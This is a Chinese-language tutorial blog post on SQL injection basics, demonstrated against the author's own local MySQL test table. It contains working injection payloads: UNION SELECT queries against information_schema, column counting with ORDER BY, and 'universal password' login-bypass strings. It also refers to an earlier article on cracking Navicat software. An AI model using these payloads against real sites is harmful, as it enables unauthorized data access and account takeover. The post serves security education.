起因#
一直以來都準備做的滲透基礎教程
在介紹完了基本的信息收集和滲透環境搭建篇之後算是正式開始
可能會做很久也不一定做完,但是一定會更新下去
** 聲明:作者初衷用於分享與普及網絡安全知識,若讀者因此作出任何危害網絡安全行為後果自負,與作者及本網站無關 **
SQL 注入介紹#
SQL 語句:SQL (Structured Query Language),結構化的查詢語言,是關係型數據庫通訊的標準語言。
查詢:SELECT statement FROM table WHERE condition
刪除記錄:DELETE FROM table WHERE condition
更新記錄:UPDATE table SET field=value WHERE condtion
添加記錄:INSERT INTO table field VALUES(values)
SQL 注入 (SQL Injection):
是程序員在編寫代碼的時候,沒有對用戶輸入數據的合法性進行判斷,使應用程序存在安全隱患,用戶可以提交一段數據庫查詢代碼,根據程序返回的結果,獲得某些他想得知的數據或進行數據庫操作
SQL 注入攻擊流程:
1. 判斷注入點 2. 判斷注入點類型 3. 判斷數據庫類型 4. 獲取數據庫數據,提權
SQL 注入原理分析#
本篇教程應該是基於 shack2 大佬的 SQL 注入教程寫的
記不太清楚了因為筆記創建時間是19-03-01:

而且現在shack2大佬的博客已經關站,只留了個github 地址
大佬的很多工具也是非常好用的,後面也會介紹到,本文中途有一些大佬有的環境我沒有的
只能使用大佬的圖片了但是肯定也是看得懂的
我這裡使用本地的Navicat for MySql工具和phpstudy提供的MySql數據庫來講解
這兩個工具在前面我都介紹過,分別為
- <<Navicat 家族產品安裝及破解>>
- <<滲透練習環境搭建 (長期更新)>>
用Navicat工具連接上本地的mysql數據庫之後新建一個數據庫test
在test中新建一個表new:

填入以下數據:
| id | title | content | type |
|---|---|---|---|
| 1 | 我是 SQL 注入 | 你知道嗎? | 1 |
| 2 | 我不是 SQL 注入 | 你還不知道嗎? | 2 |
然後用查詢工具運行以下語句插入一行:
INSERT INTO test.new VALUES(3,'test','test',3)

點擊運行,刷新 new 表,發現數據已經被插進去了:

來一個基礎的查詢:

那我們要查找部分數據可以用 limit (x,y) 來查詢從第 x 條開始的 y 條數據
比如這裡查詢從第 0 條開始的 1 條數據(sqlserver 裡面的關鍵字是用的 top):


數字型注入#
我們查詢id=1:

查詢id=1 AND 1=2,沒有數據:

到這我們已經能判斷有一個 SQL 注入了,如果沒有過濾的話就可以盲注了,我們用or 1=1(永遠為真) 試一下:

也可以這麼理解:
SELECT * FROM test.new WHERE (id=1 OR 1=1)
我們試一下盲注,直接加一個':

打印出了 SQL 的報錯信息,說明支持錯誤顯示注入
我們用 Union 來試一下,直接Union Select 1:

報錯了,列不對,所以說我們用order by來判斷列:

order by加到 5 報錯了 (也可能是沒數據):

說明這個表有 4 列數據,如果原查詢語句是:
SELECT * FROM test.new WHERE id=1 AND 1=1 AND type='2'
這時候你再加個ORDER BY可能也沒關係:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 AND type='2'

但是當有時候程序自身帶了ORDER BY,比如原語句是:
SELECT * FROM test.new WHERE id=1 ORDER BY id DESC
這時候要在 1 這個位置上再插入一個ORDER BY進去:
SELECT * FROM test.new WHERE id=1 ORDER BY 1 ORDER BY id DESC
這條語句就會報錯:

這時候我們就可以用 #註釋掉後面的語句 (有時候要考慮字符轉碼 %23,因為在 URL 中 #表示標記錨連接,直接定位到網頁內位置的):
SELECT * FROM test.new WHERE id=1 ORDER BY 1#23ORDER BY id DESC

下面我們說一下怎樣判斷某個數據庫存不存在,我們可以用exists函數:
SELECT * FROM test.new WHERE id=1 AND EXISTS(SELECT 1 FROM admin)

返回正常說明admin這個表存在,MYSQL裡面是自帶information_schema這個庫的
那我們看一下存不存在information_schema.tables就知道這個數據庫是不是MySQL數據庫了:

返回正常,我們通過Union SELECT來看哪一個列能支持顯示 (這裡使用的是大佬教程裡的圖片):

** 這裡由於我使用的環境不好只顯示部分位,實際很多靶場都是有多字段只顯示部分字段的情況 **
這個圖就明顯說明第 2 列能被顯示出來,但是如果只支持顯示一個查詢結果很有可能後面的結果我們看不見
我們可以把前面的加一個AND 1=2否定掉,這樣就只會顯示我們後面的一條數據了:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,2,3,4231

知道了顯示位之後我們就可以在顯示位上搞事情了,先來查詢個數據庫:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,DATABASE(),3,4231

再來查詢個版本:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,VERSION(),3,4231

可以看到版本號為5.5.53,再來查詢information_schema數據庫的所有表名:
SELECT * FROM test.new WHERE id=1 AND 1=2 UNION SELECT 1,table_name,3,4231 FROM information_schema.tables

延時函數直接 sleep (10) 就行了:

字符型注入#
我們默認測試的地址為:
SELECT * FROM test.new WHERE type=2

先來一個AND 1=1:

再來個1=2:

發現都沒有輸出,也沒有報錯,那怎麼辦呢?我們分析一下字符:原來的語句是:
SELECT * FROM test.new WHERE type='xxx'
現在我們要查詢type=2的同時還要把And 1=1加進去:
SELECT * FROM test.new WHERE type='2' AND 1=1'
後面還有一個單引號,所以這裡最適合的就是用字符型的把後面單引號閉合掉:
SELECT * FROM test.new WHERE type='2' AND '1'='1'
也就是我們的查詢數據為:2' AND '1'='1,這樣就把2查詢了也把AND 1=1加進去了:

其他的就和上面的數值型注入差不多了,比如order by:
SELECT * FROM test.new WHERE type='2' ORDER BY 1

Union:
SELECT * FROM test.new WHERE type='2' UNION SELECT 1,2,3,4 FROM DUAL

搜索型注入#
一般語句是這樣:
SELECT * FROM test.new WHERE title LIKE '%xxx%'
比如:

那我們就可以用程序本身的 %' 把前面的閉合掉,然後再 #註釋掉後面的:


因為我們這裡是 POST 方式提交的,不用編碼,如果是 GET 方法提交的,這裡需要先編碼

所以我們知道查詢語句是 '% xxx%' 的情況下直接搜索 %' and '%'=' 直接就閉合
萬能密碼#
admin' or 'a'='a
admin' or 1=1#(mysql)
admin' or 1=1--(sqlserver)
admin' or 1=1;--(sqlserver)
其實就是閉合了的意思,為了介紹方便我在test數據庫裡再建一個admin表,數據如下:
| id | username | passwd |
|---|---|---|
| 7 | test | test |
| 8 | null | null |
| 9 | null | null |
| 10 | aaa | xx |
| 11 | aaa | xx |
| 12 |

我們從這句經典登錄來分析:
SELECT * FROM test.admin WHERE username='aaa' AND passwd='xx'

當我們要在中間插入or 'a' ='a'的時候,也就是構成了這樣的語句:
SELECT * FROM test.admin WHERE username='aaa' OR 'a'='a' AND passwd='xx'

能查詢成功,此時我們的輸入的部分為:
aaa' OR 'a'='a
這樣就能把username的前後兩個’閉合,然後我們就能查詢任意用戶名的數據
查詢出來的都是password為xx的賬戶的數據:

但是這是在password是正確的前提下的,所以最好我們把它輸成空:

也可以用註釋符:
SELECT * FROM test.admin WHERE username='xxx' OR 1=1#

就能查詢出所有數據,簡而言之就是閉合前面的username並且保持為真
然後 #註釋掉後面的password就OK了,這就是萬能密碼admin' or 'a'='a的來源
所以在萬能密碼的條件下,只需要知道username我們就能去登錄賬戶了
當萬能密碼用在password處的時候,語句是這樣的:
SELECT * FROM test.admin WHERE username='adhajsdas' AND passwd='dhaisdhias' or 'a'='a'

因為程序把前面的一部分看為一個整體了:
SELECT * FROM test.admin WHERE (username='adhajsdas' AND password='dhaisdhias') or ('a'='a')
所以這個永遠是真,但是登錄處肯定不會直接SELECT *的,但是也能得到它SELECT的所有結果。
基礎原理講的還是很枯燥的,後面會放一些例子及簡單的記憶技巧,敬請期待!
本文完。